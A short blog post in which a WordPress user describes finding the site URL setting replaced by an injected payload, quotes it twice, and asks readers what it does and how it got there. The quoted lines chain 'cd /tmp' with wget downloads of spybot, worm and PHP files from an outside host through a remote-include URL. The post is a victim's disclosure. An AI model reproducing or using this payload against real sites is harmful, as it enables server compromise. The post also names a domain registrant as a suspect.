Huh? Did someone hack my site? I loaded the page and got no CSS, so checked the template to find that the link to the CSS file had been replaced by this (I added line breaks, this was really all one long line):
http://huminf.uib.no/~jill/wp-login.php?
action=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;
wget%20www.visualcoders.net/spybot.txt;
wget%20www.visualcoders.net/worm1.txt;
wget%20www.visualcoders.net/php.txt;
wget%20www.visualcoders.net/ownz.txt;
wget%20www.visualcoders.net/wp-layout.css
My template was fine, so I looked at the options, and sure enough, my “site URL”, which WordPress glues into the template for almost every link it makes and which is supposed to be simply this: “http://huminf.uib.no/~jill/”, had been changed to all the following:
http://huminf.uib.no/~jill/wp-login.php?
action=http://www.visualcoders.net/spy.gif?&cmd=cd%20/tmp;
wget%20www.visualcoders.net/spybot.txt;
wget%20www.visualcoders.net/worm1.txt;
wget%20www.visualcoders.net/php.txt;
wget%20www.visualcoders.net/ownz.txt;
wget%20www.visualcoders.net
That looks very uncool. Now even to a total amateur at PHP like me, that seems to read as though every time someone looks at my blog, instead of the site fetching a CSS file that makes the page look pretty, an action is invoked that “gets” (”wget”, yeah?) a whole pile of nasty files called things like spy.gif and worm1.txt.
Does anyone understand this? What are they actually trying to do? Would this affect readers or my site? Would I have seen all sorts of stupid messages about how “spykids ownz your browser” if I’d been using Windows and Microsoft Explorer isntead of Firefox on a Mac? And how the heck did they change my site URL?
I fixed it, but I should obviously do something about security, huh? Except it’s Christmas! I don’t have time for this!!!
[I’ve asked for help at the WordPress support forum as well, and I filed a complain against visualcoders.net with Google, who run adwords through them. And I emailed the person who registered the domain, Mimoun Raddahi, who lives in Antwerpen, Belgium. Is there any chance visualcoders.net isn’t to blame here?]